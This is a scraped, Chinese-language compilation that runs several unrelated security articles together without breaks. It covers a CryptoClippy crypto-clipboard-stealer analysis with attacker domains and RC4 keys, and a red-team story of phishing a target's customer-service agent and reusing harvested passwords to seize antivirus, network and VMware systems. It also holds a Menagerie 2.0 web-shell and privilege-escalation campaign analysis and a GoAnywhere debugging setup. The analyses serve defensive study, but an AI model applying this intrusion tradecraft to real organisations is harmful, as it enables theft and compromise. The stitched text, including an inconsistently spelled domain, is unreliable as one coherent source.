什麼是加密貨幣剪輯器? CryptoClippy旨在將加密貨幣資金從合法用戶的錢包轉移到由攻擊者控制的錢包。當計算機CryptoClippy時,惡意軟件會不斷檢查受害者的剪貼板,看看他們是否複製了加密貨幣錢包地址,其攻擊邏輯是,如果一個人將錢包地址複製到剪貼板,這表明他們可能正在將加密貨幣從一個錢包轉移到另一個錢包。

CryptoClippy使用正則表達式來識別地址屬於哪種類型的加密貨幣。然後,它將剪貼板條目替換為攻擊者的錢包地址。由於錢包地址通常很長,有時超過40個字符,粗心的用戶是不會注意到地址的變化。

CryptoClippy利用的是SEO攻擊,因此當一個人搜索“WhatsApp Web”時,搜索結果的前幾天就會顯示一個虛假結果。一旦進入該網頁,受害者就會被提示下載一個.zip文件,該文件包含一個由惡意腳本組成的.lnk文件。這些腳本引發了一系列安裝CryptoClippy的事件。各種CryptoClippy變體具有多種額外功能,可以幫助攻擊者完成他們的加密竊取活動。這包括能夠通過執行RC4加密的PowerShell腳本來建立遠程桌面協議(RDP)後門。

此腳本包含Windows Management Instrumentation(WMI)、終端服務註冊表操作、icacls、net命令和日誌清除的元素。這些漏洞使攻擊者能夠在內存有效負載之外進行訪問。

此外,該變體還具有針對以太坊和比特幣加密貨幣錢包的功能。鑑於數字貨幣在拉丁美洲越來越受歡迎,這並不奇怪。

撰寫本文時,攻擊者控制的比特幣地址顯示收到0.039954比特幣,大致相當於982.83美元,以太坊(ETH)地址也顯示了收到資金,其中0.110915556631181819 ETH(約等於186.32美元)是從三個不同的ETH地址發送的。

此活動中的攻擊者採用了多階段的方法,試圖繞過基於簽名和啟發式的安全防護。這種方法包括使用模糊化的PowerShell腳本和編碼的有效負載來逃避檢測,目前似乎只有少數安全程序可以在VirusTotal中檢測到這種惡意軟件。

攻擊流程攻擊會從傳播一個.zip文件開始,該文件包含一個模糊化的PowerShell命令行腳本組成的.lnk文件。受害者雙擊.lnk文件後,就會執行PowerShell腳本,該腳本將下載第二階段和幾個模糊/加密的有效負載。當執行第二階段PowerShell腳本時,它會對CryptoClippy加載程序進行解混淆/解密並執行它。然後加載程序會將其竊取程序組件注入svchost.exe中。

CryptoClippy將在剪貼板API中設置基於用戶模式事件的掛鉤和回調函數,在將受害者的以太坊/比特幣加密錢包複製到剪貼板時,將其替換為攻擊者的加密錢包。它還包含與C2服務器通信的功能。

CryptoClippy攻擊流程如下所示:

1.png

通過LNK文件攻擊

受害者最初下載的.zip文件中的.lnk文件包含一個截取的命令,如下圖所示。雙擊該文件將執行一個模糊命令,該命令位於快捷方式的目標字段中,負責檢查攻擊者控制的域。

99.1.png

LNK文件的目標字段包含要運行的命令

.lnk文件使用了幾種不同的字符填充方法進行混淆,其中包括以下字符集:

^

!

:~下圖顯示瞭如何在.lnk文件中使用這種方法。

99.2.png

LNK字符混淆

反混淆後,LNK得到以下PowerShell命令,該命令將通過HTTP協議將字符串uiPX上傳到攻擊者控制的域tunneldrive[.]com。

99.3.png

PowerShell命令將字符串上載到攻擊者域

需要注意的是,在目前觀察到的示例中,攻擊流程可以追溯到擴展名為.lnk的文件。這些文件通常包含在.zip中。然而在分析中,研究人員觀察到另一種變化,其中初始有效負載是一個.exe文件,該文件出自前面提到的域mydigitalreversion[.]com。

當WhatsApp Web的.exe文件一旦執行,它就會聯繫前面提到的tunneldrive[.]com域。然後,它將釋放並執行一個.bat文件來自我刪除。

這個.bat文件(如下圖所示)使用了一種模糊處理來構建其有效負載。

99.4.png

BAT文件在第一階段被釋放

第一階段第一個PowerShell腳本加載程序Ricoly.ps1由Ricoly.bat批處理文件啟動並執行。 Ricoly.ps1腳本的目的是解密同樣位於C:\Users\\AppData\Roaming\Ricoly中釋放的第二階段模糊/加密腳本ps。

Ricoly.ps1腳本使用的XOR密鑰大部分是靜態設置的硬編碼,而XOR密鑰的一部分是從計算機的處理器ID動態派生的。這將鎖定有效負載,如下圖所示。

99.5.png

第二階段研究人員使用以下CyberChef XOR秘鑰來解密第二階段的有效負載:

99.61.png

99.62.png

CyberChef用於解碼第二階段PowerShell腳本文件ps的內容

在第一階段下載時,會將名為sc的加密EXE文件寫入文件系統。這個EXE文件將成為第二階段ps腳本的目標。

第二階段PowerShell腳本ps的功能是充當反射PE加載程序。它使用.NET方法和D/invoke來處理.NET委託,以逃避檢測和動態解析。

ps腳本將確定操作系統是32位還是64位。它還將確定kernel32.dll作為反射加載程序所需的API功能,通過使用GetDelegateForFunctionPointer解析所需的API(如VirtualAlloc和CreateThread)來實現這一點。

然後,ps腳本將對有效負載進行XOR解密,並調用EXE文件sc。

99.7.png

使用D/invoke方法和XOR操作的第二階段PowerShell腳本

反射加載到內存中的EXE文件sc充當主加載程序,使用系統調用將代碼注入另一個新創建的進程。新創建的svchost.exe進程包含CryptoClippy。

文件夾名稱和互斥字符串生成器竊取程序的前幾個函數將首先映射出文件系統,以創建要使用的文件夾。這是通過使用API GetWindowsDirectoryA、GetVolumeInformationA和SHGetFolderPathA來實現的。

竊取程序包含一個函數,它將創建字母數字字符串。此字符串生成器用於主程序中的多個位置。它首先用於在AppData路徑下創建一個唯一的文件夾名稱。為此,使用一個常量值作為字符串生成器的參數。

在本示例中,常量是0x79FE6D,它將在字符串生成器函數中使用,並映射到格式字符串%08x-%08x。

99.8.png

常量引用和函數字母數字生成器的xref

字符串生成函數將使用提供給函數的常數值和從受害者係統查詢的捲序列號。它將創建以下字符串作為示例:079fe6d-de786dd1。

99.9.png

常量值和卷序列號連接成格式字符串

該算法將按每個字符拆分,以此來打亂字符串079fe6d-de786dd1。第一個操作將是由字符串的第一個字符執行的對FFFFFFFF值的異或。

然後,所得到的運算將被右移1,並被常數0x82F63B78異或。結果異或操作將遵循相同的操作集,在16個字符示例字符串079fe6d-de786dd1中,每個字符總共執行8次。

算法完成後,返回要添加到AppData目錄的文件夾名稱。本例中的文件夾名稱為55abf82d,完整路徑為C:\Users\xxx\AppData\Roaming\55abf82d。這將根據作為輸入提供的常量和卷序列號而變化,以創建唯一的字母加數字字符串。

99.10.png

使用的算法的結果,即要創建的文件夾名稱

互斥鎖攻擊者的互斥鎖的創建也使用字符串生成器函數,該函數作為參數提供了一個不同的常量值。在本例中,值為0x24F2D5。

99.11.png

用於創建帶有捲序列號的互斥鎖的常量值

用戶模式事件掛鉤設置為了便於竊取者剪切剪貼板的加密錢包地址,並將其替換為二進製文件中包含的硬編碼錢包,它將首先調用API SetWinEventHook來設置事件掛鉤,以便在觸發特定事件時調用負責與剪貼板數據交互的函數。

EVENT_OBJECT_FOCUS

EVENT_OBJECT_VALUECHANGE

EVENT_SYSTEM_FOREGROUND

事件掛鉤設置將具有一個從所有進程以及所有現有線程接收事件的進程範圍,然後跳過連接負責創建掛鉤的所屬進程。在設置事件掛鉤之後,創建一個Windows事件對象。它通過調用用於同步的Windows API CreateEventA來實現這一點,當特定事件發生並完成時,它將向線程發出信號。

99.12.png

windows事件鉤子和註冊類的反編譯視圖

創建Windows對象事件之後,竊取程序將使用API RegisterClassExA。此API提供了一個指向WNDCLASSEX結構的指針,該結構包含wcbClass和各種結構字段。

在此之後,調用CreateWindowExA,它將創建一個具有前面API所指向的結構的窗口。在這個結構中,我們分析的重要字段是lpfnWndProc字段,它指向惡意軟件開發者的剪貼板函數。

後門在CryptoClippy執行期間,此威脅將解密並寫入文件Tozzia.bat和Tozzia.ps1到文件系統,這些文件系統嵌入到文件系統中。執行批處理文件Tozzia.bat,然後執行Tozzia.ps1。

99.13.png

Tozzia.bat文件內容

下圖顯示了Tozzia.ps1被寫入文件系統並執行,從而進行持久性攻擊。

99.14.png

Tozzia.ps1內容

下圖顯示了Tozzia.ps1通過創建計劃任務來獲得持久性。

99.15.png

執行Tozzia.bat的計劃任務

在Tozzia腳本解密後,另外兩個腳本Giddia和Knowledgeprojects也被解密,但沒有被執行或寫入文件系統。從內存中提取Giddia和Knowledgeprojects這兩個腳本,可以看到幾百行額外的腳本代碼。

Giddia腳本包含執行與終端服務相關的註冊表屬性值的功能,目的是削弱它們。它還包含網絡命令和本地帳戶相關操作的功能。

99.16.png

PowerShell腳本名Giddia

99.17.png

Giddia功能

99.18.png

名為Knowledgeprojects的PowerShell腳本

Knowledgeprojects腳本包含使用PowerShell清除日誌的功能。

99.19.png

通過惡意廣告(Malvertising)傳播

研究人員觀察到這種利用谷歌廣告和TDS的惡意軟件活動。當用戶搜索“WhatsApp網絡”時,攻擊者使用了出現在搜索結果中的谷歌搜索廣告。這使他們能夠誘騙受害者打開並下載他們的惡意壓縮.zip文件。在2022年初收到這一攻擊的警報後,谷歌實施了額外的保護措施,並表示,其係統在檢測和防止再次攻擊方面有所改進。

此外,攻擊者使用TDS過濾惡意登錄頁面上的真正用戶和機器人。 TDS過濾器通過使用各種標準來確定客戶端設備是否是真實用戶以及葡語使用者,從而排除機器人和互聯網爬蟲。

首先,TDS檢查連接設備是否來自虛擬專用網絡(VPN)IP地址。使用VPN會使攻擊者難以確定受害者設備的位置和特徵,也會使其更難傳播惡意內容。

接下來,TDS進行用戶代理檢查。用戶代理是網絡瀏覽器發送到網站以識別其自身及其功能的文本字符串。通過檢查客戶端設備的用戶代理,TDS通過檢查接受語言(Accept-Language)標頭來確定首選瀏覽器語言是否為葡語。 TDS還可以檢查其他信息,如設備類型、操作系統、瀏覽器版本和地理位置。

最後,TDS遵循超文本傳輸協議(HTTP)GET標頭標準。 HTTP GET標頭是由web瀏覽器發送到服務器以檢索資源的請求消息。標頭可以包含各種信息,例如請求的URL、用戶代理、Accept-Language標頭和referer標頭。檢查HTTP GET標頭中的條件是TDS確定瀏覽器的首選語言是否為葡語的另一種方法。

如果TDS確定連接不符合上述標準,受害者將被重定向到另一個登錄頁(如下圖所示),並被提示點擊“繼續到WhatsApp Web”。這將重定向到合法的WhatsApp Web域,而不會有任何進一步的惡意活動,有效地逃避了受害者和安全軟件的檢測。

惡意域名的內容但是,如果TDS確定該連接滿足上述條件,受害者將被重定向到惡意登錄頁面,並提示他們下載惡意的.zip文件

受害者的瀏覽歷史這個網站偽裝成WhatsApp的官方網站,提供WhatsApp桌面。從mydigitalrevival[.]com下載此文件就會下載所謂的WhatsApp.zip。

mydigitalrevival[.]com網站研究人員發現的屬於本次活動的其他域名還有preflightdesign[.]com和pickconferences[.]com,它們的葡語版本也有同樣的內容。

當受害者成功加載惡意網頁並下載所提供的.zip文件時,其中包含一個.lnk文件,如下圖所示。

初始ZIP文件中包含LNK文件在執行.lnk文件後,研究人員觀察到下載到C:\Users\\AppData\Roaming\Ricoly中的以下文件:

Ricoly.bat;

Ricoly.ps1;

兩個混淆的加密文件(ps,sc);

一個混淆的加密輔助配置文件(pf);

第一個PowerShell腳本加載程序Ricoly.ps1由Ricoly.bat批處理文件啟動並執行。 Ricoly.ps1腳本的目的是解密第二階段的模糊化/加密的腳本ps。

第二階段PowerShell腳本ps的功能是充當反射PE載入程序。 ps文件將以寫入文件系統的名為sc的加密EXE文件為目標。 sc文件是反射加載的,最終用作CryptoClippy的載入程序。

主要可執行文件在執行.lnk文件和兩個後續的PowerShell腳本之後,CryptoClippy操作由一個可執行載入程序和主要可執行文件組成。 CryptoClippy的載入程序是一個64位的EXE文件,其中主竊取程序EXE文件嵌入在.data部分中。載入程序使用系統調用,在執行時似乎與SysWhispers2實現重疊。

SysWhispers2是一個更隱蔽的代碼執行實現,用於繞過對用戶模式API的檢查。這種繞過是可能的,因為用戶模式API通常由應用程序使用,包括AV/EDR產品通過用戶模式掛鉤進行內省。

CryptoClippy的主要可執行文件是用C編寫的,它是用傳輸層安全性(TLS)庫Mbed-TLS靜態編譯的。可執行文件的主要功能包括它自己的名稱生成算法即文件路徑、互斥對象和事件對象。主可執行文件還廣泛使用了一個名為pf的本地輔助文件,該文件包含一個加密的證書。 CryptoClippy使用它自己的算法從輔助文件中消除字符查找表的混淆,從而從查找表中指向值的指針構建明文證書。

該威脅還使用兩個不同的RC4密鑰進行各種字符串解密。字符串解密例程將使用內存中內置的結構,用於結構中的索引位置、字符串偏移量和字符串大小。這些字符串與對象名稱、域、加密錢包和持久性腳本有關。

RC4Key:1b43233d5a054808061c190336320e46

RC4Key:4646070B47445451604F291809444703竊取加密貨幣

0x00 前言

红蓝对抗无疑是一场持续性的博弈过程,随着近几年的攻防不断,打了一轮又一轮,web漏洞的急剧减少,社工钓鱼显然成为了主流的攻击手段之一。

图片

0x01 免责声明

请您务必认真阅读、充分理解下列条款内容:

1、本公众号分享的任何文章仅面向合法授权的企业安全建设行为与个人学习行为,严禁任何组织或个人用于非法活动。

2、在使用本文相关工具及技术进行测试时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。

3、如果您在使用本文相关工具及技术的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。

4、严禁任何组织或个人使用本公众号的名义进行非法盈利。

5、本公众号的所有分享工具及技术文章,严禁不经过授权的公开分享。

如果发现上述禁止行为,我们将保留追究您法律责任的权利,并由您自身承担由禁止行为造成的任何后果。

0x02 常规操作走一遍

拿到靶标后 --> 资产收集 --> 找软柿子 --> 尝试打点

拿到靶标单位信息后,通过企查查查域名和企业架构,发现没有对外投资,只有一个上级单位总公司

图片

找子域,也没啥可用资产(virustotal.com,快速简便但不准确)


图片

通过qaxnb资产绘测平台来看看是否有可用信息,也是空空如也

图片

通过多点Ping,域名解析等操作来找真实IP,发现都是指向阿里云

图片

一套流程下来,除了一个打不动的官网(域名解析指向云,更没心情去深入挖掘了),没有任何可以打点的目标了

最终得出结论:软柿子竟是我自己

0x03 条条大路通罗马

web打不动,就不能走常规操作了,开始把矛头对准公众号,小程序

通过测移动端的应用,观察请求地址和回包内容,终于找到了真实IP地址,因此也得官网并没挂在云上

图片

通过IP进行全端口扫描,发现存在H3C网管设备,可以大概猜测出该IP为出口IP了

图片

通过扫描前后五个IP的全端口信息,喜出望外的发现了好几个应用系统,看着就像软柿子,感觉成功就在眼前了,马上就要一发入魂,直捣黄龙了,想想还有点小激动,嘿嘿嘿

结果,虽然存在一些漏洞,但还是一个都锤不动,getshell失败

果然,软柿子竟是我自己

但是,咱们做攻防的都是刚枪王,不到最后一秒是不会不放弃的,在渗透某系统的时候发现了一个大宝贝(在线人工一对一微信二维码 )

图片

0x04 我爱靶标客服

添加靶标客服后,我那激动的心,颤抖的手,无一都不暗示着我们俩之间会像是初恋那般的美好,干柴遇烈火,今晚指定得发生点什么,嘿嘿嘿

通过对话的时间间隔和回复的短短只言片语,不难看出,枉我一篇赤诚之心,她对我竟是敷衍。

但俗话说得好:”撑死胆大的,饿死胆小的”,我断定出她对我不够上心,故,我决定做个胆大的好男儿。

图片

果然,在我那一句:“你确定吗?你有真心对我吗?”,在两个“?”的攻势下,她果然回心转意了,点开了我的大宝贝。我也成功的进入了她们单位的内网。

图片

图片

0x05 细节定成败

通过搜集进程信息和端口信息,发现内网存在金山杀毒,访问发现版本为v9(上传已修复)

图片

细节来啦,在前面测公众号时,发现一处账户密码,便随手记录了下来

图片

分析规律后手动重组几个账户密码,拿来碰撞金山杀毒,又是一发入魂,精准打击,成功拿下

图片

古人云:”内网之,得集控者得天下“。至此,虽已足够让该单位内网沦陷,但还不够完美,总感觉还少了什么,所以还得继续冲

通过组装后的密码,拿下上文的H3C网络设备,发现我直接成为了网络管理员,清楚了所有的路由走向和网络策略,嘿嘿嘿

图片

细心的师傅其实已经发现了,内网还存在vmware(上诉某图片的webtitle),那肯定也不能放过她,是吧,嘿嘿嘿

通过历史漏洞成功拿下,发现部署了核心生产系统,但是居然历史漏洞都没补

图片

getshell --> 拿data.mdb --> 解密 --> 获取cookie --> 进后台

图片

其他都是一些零零碎碎的东西了,没啥技术含量,想必各位师傅也不喜欢,那么就到此为止吧,再打就不礼貌了

0x06 攻击路线

图片

0x07 最后的话

文章内容有不合理或者不理解的地方,欢迎评论,咱们共同交流共同进步

文章内容有不合法或者侵权的地方,欢迎指出,核实后将立马删除本文


转载于原文链接: https://mp.weixin.qq.com/s/cixtFPn__YPe1XtpcTE2Ow?scene=25#wechat_redirect

微信截图_20230710001005.png

Unit 42的研究人員發現,從2020年末到2022年末,發生了一系列針對美國和歐盟幾家網絡託管和IT提供商的攻擊活動,研究人員將其編號為CL-CRI-0021,並認為其幕後攻擊者是Menagerie。

攻擊者在被劫持的設備上部署挖礦程序,以盜竊受攻擊服務器的資源。他們通過大規模部署web shell,來進一步增加持強起持續訪問能力,並進一步訪問受攻擊網站的內部資源。這樣一來,攻擊者就有可能把被劫持的合法網站(由目標網絡託管和IT提供商託管)大規模地變成指揮和控制(C2)服務器,從而影響數千個網頁。因此,攻擊者可以從具有良好聲譽的合法網站運行他們的C2活動,這些網站不一定被安全解決方案標記為惡意。這可能會對被濫用的合法網站產生巨大的影響,在這種情況下,這些網站會在不知情的情況下託管惡意內容和隱藏攻擊活動。此類攻擊活動可能對網站所有者或網絡託管公司造成負面影響。

在受害者的網絡中,攻擊者嘗試了多種技術來逃避各種檢測。他們還繼續執行有效負載,重新部署和重新運行以前被阻止的工具,或者使用其他類似的工具。總之,攻擊者試圖不用已知的惡意軟件,通過引入定制工具和依賴公開可用的合法工具來躲避檢測。

根據研究人員在這次攻擊中觀察到的戰術、技術和程序(TTP),之前被稱為Menagerie的攻擊者實施了上述攻擊,因此本文將其稱之為“Menagerie2.0”。

據澳大利亞網絡安全中心報導,該攻擊者至少從2018年就開始活躍,目標是澳大利亞的網絡託管公司。

初始訪問和持久化“Menagerie2.0”活動是在2020年底首次發現的,目標是美國和歐盟的公司。在此活動中,攻擊者通過利用易受攻擊的web應用程序和IIS服務器,並在這些受攻擊的服務器上部署不同的web shell,獲得了對目標設備的訪問權限。

在活動的web服務器上部署web shell允許攻擊者劫持合法網站。 webshell被放置在這些託管網站的C:\[hosted websites on the server path]\wwwroot\example.com\webshell.aspx文件夾中。

這些操作還允許將來從受害者的網絡外部公開訪問,這可以讓這些網站變成攻擊者未來的C2服務器。研究人員還觀察到同樣的web shell,即xn.aspx,目標是澳大利亞的網絡主機公司。

在Manic Menagerie 2.0中部署web shell後,攻擊者開始部署挖礦程序。這樣做很可能是為了濫用受損服務器強大的計算資源,通過挖礦獲取目標的錢財。

2021-2022年期間,在公開披露多個Microsoft Exchange Server漏洞後,攻擊者試圖在一些目標中利用以下漏洞:

CVE-2021-26855、CVE-2022-41040:(ProxyNotShell)Exchange Server SSRF漏洞;

CVE-2021-34473:ProxyShell漏洞之一,Exchange Server遠程代碼執行漏洞;

CVE-2021-33766(ProxyToken):允許攻擊者修改任意用戶的郵箱配置;

因此,除了IIS服務器中的漏洞和環境中易受攻擊的web應用程序之外,前面提到的漏洞還為攻擊者提供了另一個滲透和持久性載體。

偵察功能和權限升級從2020年底開始,參與Menagerie 2.0活動的攻擊者開始定期嘗試執行本地權限升級,以將自己的用戶添加到IIS服務器中的管理員組中,以進一步提升他們的攻擊能力。當一個工具失敗時,他們會嘗試用另一個具有類似功能的工具。

攻擊者使用了一個名為RunasCs的runas.exe.NET封裝器。此公開可用的工具啟用了原始runas.exe實用程序所缺乏的擴展功能,例如通過使用用戶憑據明文執行進程。

觀察到攻擊者試圖通過在易受攻擊的web應用程序下運行,在受攻擊的環境中執行進一步的網絡偵察。然後,他們試圖通過運行au.exe來添加自己的用戶,au.exe是“add user”的縮寫。該文件必須由已提升的用戶運行。然後,他們通過運行net命令來確保他們的用戶名存在。

他們對用戶名iis_user和iis_users的使用是值得注意的,因為後者最初可能看起來是一個拼寫錯誤。

1.png

au.exe創建iis_user用戶並為其生成密碼

前面提到的au.exe是一個攻擊者試圖多次運行的工具,它與不同的PoC本地權限提升工具鏈接在一起,如下圖所示。

2.png

試圖在易受攻擊的web應用程序下執行RunasCs和其他命令

可以看到攻擊者使用多個工具來實現相同的權限升級,如上圖所示,64位版本的PrintSpoofer就是其中一個工具。這個公共工具被攻擊者用來提升au.exe,否則它就不會添加它想要添加的用戶。

fork炸彈(fork bomb)和更多本地權限升級據觀察,攻擊者利用以下漏洞,試圖使用多個公開可用的工具升級本地權限(LPE):

CVE-2018-8120

CVE-2019-0623

CVE-2019-0803

CVE-2019-1458

研究人員在Menagerie 2.0中觀察到的另一個有趣的執行是svchost.exefork炸彈。 ACSC關於Menagerie活動的報告也提到了這種類型的拒絕服務(DoS)工具的存在。

這個fork炸彈的代碼非常簡單,因為它在一個無限循環中運行,會打開越來越多程序,直到設備耗盡內存。此活動旨在使設備崩潰並強制重新啟動。這允許需要重新啟動才能開始的可執行文件的持久性機制。

3.png

fork炸彈二進製文件中的無限循環代碼片段

dllnc.dll:運行有效負載和添加用戶工具研究人員在Menagerie 2.0活動中觀察到的另一個名為dllnc的工具有兩個主要功能。一個是加載攻擊者的一些可執行文件和批處理文件,另一個是作為另一個工具,用於將攻擊者的用戶添加到管理員組。

它包含一個指示PDB路徑:F:\upfile\3389\opents\dlladduser\x64\Release\dllnc.pdb,截至2023年5月中旬,其在VirusTotal中沒有產生任何其他結果。這表明,這是針對特定目標的自定義工具。

加載程序代碼段試圖加載一些它認為已經在攻擊者路徑中的工具(如圖4所示),因為沒有檢查它們是否實際存在。在這樣做的同時,它考慮了幾種可能的硬編碼路徑,其中大多數都出現在這次攻擊活動中。

4.1.png

4.2.png

攻擊者工具的硬編碼路徑,如dllnc.dll中所示

然後,該工具刪除當前的iis_user用戶,然後重新添加它,這次是使用硬編碼的密碼。同樣,這種行為與ACSC關於原始瘋狂Menagerie運動的報告有關。該報告中也提到了相對ID(RID)劫持工具的一個舊變體(如圖5所示),類似於這種行為。

5.png

RID劫持工具

這兩種變體中的密碼有著明顯的、非常相似的地方,因為它們都使用xman前綴和類似的後綴。

6.png

用戶iis_user及其硬編碼密碼

PCHunterPCHunter是被觀察到的另一個被Menagerie 2.0活動使用的工具,它讓人想起GMER和Rootkit Unhooker等老工具。它是一個合法的和強大的工具包,用於瀏覽和修改不同的Windows內部組件。下圖顯示了試圖執行被阻止的PCHunter。

7.png

下圖顯示了“Epoolsoft Corporation”的PCHunter數字簽名。中文評論提供了該工具的快速描述。這被翻譯為“Yipmin是一個Windows系統信息查看工具(安全類別)。”

8.png

PCHunter簽名者信息

大規模後門:將已知的Web Shell部署到多個目的地在Menagerie 2.0活動中觀察到的第二波明顯的攻擊主要是在託管網站大規模部署web shell。這使得攻擊者能夠通過允許他們未來的公共訪問來加強他們的攻擊立足點,並將他們的web shell隱藏在嵌套文件夾深處。這些合法被劫持的網站將來可能會被用作C2服務器,例如,作為殭屍網絡基礎設施的一部分。

攻擊者的部署嘗試可以追溯到2022年初,當時他們在多個託管網站上部署了名為ASPXSpy的已知web shell,他們觀察到這個web shell被寫入了數百個不同的路徑,如下圖所示。

9.png

ASPXSpy web shell被寫入不同的託管網站路徑

GoIIS攻擊者還運行了一個名為IIS1.asp或GoIIS.exe的工具,該工具於2017年編譯。該工具是用Golang編寫的,用於遍歷服務器的文件夾以檢索服務器的配置信息。這使攻擊者能夠獲得有關被攻擊服務器的寶貴信息。

10.png

IIS工具

Sh.exe:自定義Web Shell部署工具2022年末,攻擊者部署了一個名為sh.exe的自定義工具,作為Menagerie 2.0活動的一部分,其執行情況如下圖所示。該工具的作用是根據共享相同公共IP地址的服務器上預先配置的路徑和合法被劫持網站的列表,在託管網站大規模編寫web shell。

為了方便使用此工具,攻擊者使用了caclcs.exe的自定義封裝器,攻擊者將其命名為mycacls.com,這是一個用於管理訪問控制列表(ACL)的命令行工具。該工具使他們能夠批量更改web服務器的ACL權限,並降低IIS安全設置。

11.png

嘗試與其他工具和命令一起執行sh.exe,但被Cortex XDR阻止

傳遞給sh.exe的參數包含共享相同公共IP的相關網站列表。在執行時,sh.exe工俱生成各種看起來合法的子文件夾,例如圖像和css,以進一步隱藏它們的活動。這可能是為了讓攻擊者將來能夠從互聯網訪問受害者的設備,並可能在將來大規模地使用該基礎設施作為C2服務器。

sh.exe使用'Fujian identical investment co.Ltd.'頒發的無效證書籤名,如下圖所示。這與ACSC報告在活動中描述的用於簽署另一個工具的名稱相同。

在觀察到的樣本中,sh.exe是在2022年11月3日編譯的。其證書於2022年12月6日簽署。簽署後不久,就可以看到攻擊者在其中一個受攻擊的環境中執行sh.exe。無效證書的編譯時間戳和日期範圍可能表明該工具是專門為此特定活動製作的。

12.png

Sh.exe無效簽名

雖然攻擊者刪除了大部分文件,但研究人員發現sh.exe和它釋放的文件之間存在無法恢復的連接。調查發現了攻擊者使用的三個不同的已編譯.NET DLL。

一旦“原始”ASPX文件第一次被訪問,這些dll將由IIS服務器編譯。在對代碼進行反編譯後,基於在兩個文件中發現的指示字符串,在web shell和sh.exe之間發現了有趣的相似之處。

瀏覽其中一個被web shell釋放的網站,頁面上的內容是字符串ONEPIECE,如下圖所示。

13.png

瀏覽其中一個被劫持網站的web shell資源

瀏覽其中一個web shell的代碼並查看負責顯示HTML內容的代碼,可以看到該字符串以及其他指示字符串,如x_best_911。

14.png

ONEPIECE字符串在編譯的web shell的DLL代碼中進行了硬編碼

在sh.exe中也可以找到x_best_911字符串,如下圖所示。

15.png

sh.exe中硬編碼的x_best_911字符串

在執行上述RID Hijack工具時生成的密碼包含xman字符串。這個字符串也可以在sh.exe中找到,如下圖所示,這表明了在最近的活動中看到的新工具之前也在Menagerie活動中出現過。

16.png

xman字符串在sh.exe中是硬編碼的

LPE工具集如上所述,一旦IIS服務器訪問web shell,就會動態編譯. net DLL並將其放置在臨時目錄中。如下圖所示,一個編譯過的DLL web shell文件是App_Web_xvuga1zl.dll。攻擊者與web shell建立的連接導致了另一次遠程執行多個LPE公開可用工具的嘗試,正如在與此活動相關的攻擊的許多階段所看到的那樣。

正如攻擊者之前所做的那樣,他們還使用了幾個權限升級工具。在一個示例中,為避免被阻止,每次執行之間只有幾分鐘的間隔:

JuicyPotato;

PrintSpoofer;

JuicyPotatoNG;

EfsPotato;

PetitPotam(法語“小河馬”)。

17.png

由Cortex XDR檢測和阻止的多個本地權限升級工具

MyComEop當研究人員分析了從Menagerie 2.0攻擊目標組織中恢復的幾個加載程序時,另一個發現引起了他們的注意。這些加載程序包括x和x.tmp文件的硬編碼字符串。當在調試器中執行這些加載程序時,它們成功地解密了它們的有效負載,揭示了另一個PoC LPE工具和後門,具有獨特的PDB路徑:

E:\git\MyComEopPower\MyComEopPipe\Build\Quantum.pdb;

E:\git\MyComEopPower\MyComEopPipe\Build\MyComEop.pdb;

在VirusTotal中搜索PDB路徑時,研究人員從另外兩個變體中發現了更顯著的元數據,如下圖所示。

18.png

從共享相同PDB路徑的另一個變體檢索的文件元數據

經過進一步研究,研究人員發現這是另一種很少見到的權限升級工具和後門,如下圖所示。

19.png

所述工具的硬編碼路徑

20.png

所述工具的後門日誌

新的攻擊在2023年4月,在監控與Menagerie 2.0相關的活動時,攻擊者部署了新修改的工具,並通過先前部署的web shell訪問受攻擊的環境,發現除了部署舊工具,還有更新的工具(如au.exe)。

攻擊者還通過執行net命令搜索iis_user是否存在。然後他們開始在%programdata%\x路徑中部署修改過的工具,這也是熟悉的攻擊套路。

他們部署的工具之一是GodPotato,如下圖所示,它是已知的LPE家族的另一個變體。這個工具也是公開可用的。

21.png

GodPotato工具截圖

研究人員觀察到的另一個工具是另一個自定義後門,如下圖所示。通過查看其PDB路徑D:\project\後門類\dllnc\exenc\x64\Release\exenc.pdb,它似乎是前面提到的DLLNC工具的一個新變體。這種變體側重於後門功能,而不是主要充當下載程序。

22.png

新後門的主要方法

總結“Menagerie2.0”活動針對網絡託管和IT公司已有兩年多的時間。研究人員認為這次活動是由之前的'Menagerie'活動演變而來的。這次攻擊的主要目標是濫用受攻擊的web服務器的資源以獲取經濟利益。正如ACSC之前報導的那樣,攻擊者在Menagerie 2.0中部署了多個挖礦程序。調查還顯示,隨著時間的推移,攻擊者擴大了他們的武器庫,並改進了他們的https來劫持合法網站。他們通過在受攻擊的大規模部署web shell,然後將其用作C2服務器。

0x00 前言本文記錄從零開始搭建GoAnywhere Managed File Transfer漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

GoAnywhere Managed File Transfer安裝

GoAnywhere Managed File Transfer漏洞調試環境配置

數據庫操作

0x02 GoAnywhere Managed File Transfer安裝參考資料:https://static.fortra.com/goanywhere/pdfs/guides/ga6_8_6_installation_guide.pdf

下載地址:https://www.goanywhere.com/products/goanywhere-free/download

需要註冊賬號獲得license

GoAnywhere Managed File Transfer可以分別安裝在Windows和Linux操作系統

Windows系統下默認的Web路徑:C:\Program Files\HelpSystems\GoAnywhere\tomcat\webapps\ROOT

Linux系統下默認的Web路徑:/usr/local/HelpSystems/GoAnywhere/tomcat/webapps/ROOT

1.開啟遠程調試功能通過開啟Tomcat調試功能來實現,開啟Tomcat調試功能的方法如下:

切換至bin目錄

執行命令:catalina jpda start

Tomcat調試功能開啟後默認監聽本地8000端口

對於GoAnywhere Managed File Transfer,開啟調試功能的方法如下:

(1)Windows下調試

修改文件C:\Program Files\HelpSystems\GoAnywhere\tomcat\bin\GoAnywhere.exe的文件屬性

雙擊文件C:\Program Files\HelpSystems\GoAnywhere\tomcat\bin\GoAnywhere.exe,切換到Java標籤頁,在Java Optinos添加:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8090,如下圖

重啟服務GoAnywhere

(2)Linux調試

修改文件:/opt/HelpSystems/GoAnywhere/tomcat/bin/start_tomcat.sh,將exec '$PRGDIR'/'$EXECUTABLE' start '$@'修改為exec '$PRGDIR'/'$EXECUTABLE' jpda start '$@'

修改文件:/opt/HelpSystems/GoAnywhere/tomcat/bin/goanywhere_catalina.sh,將JPDA_ADDRESS='localhost:8000'修改為JPDA_ADDRESS='*:8090'

注:

Tomcat默認的調試端口8000同GoAnywhere Managed File Transfer的Web端口衝突,所以這裡選擇修改Tomcat默認的調試端口為8090

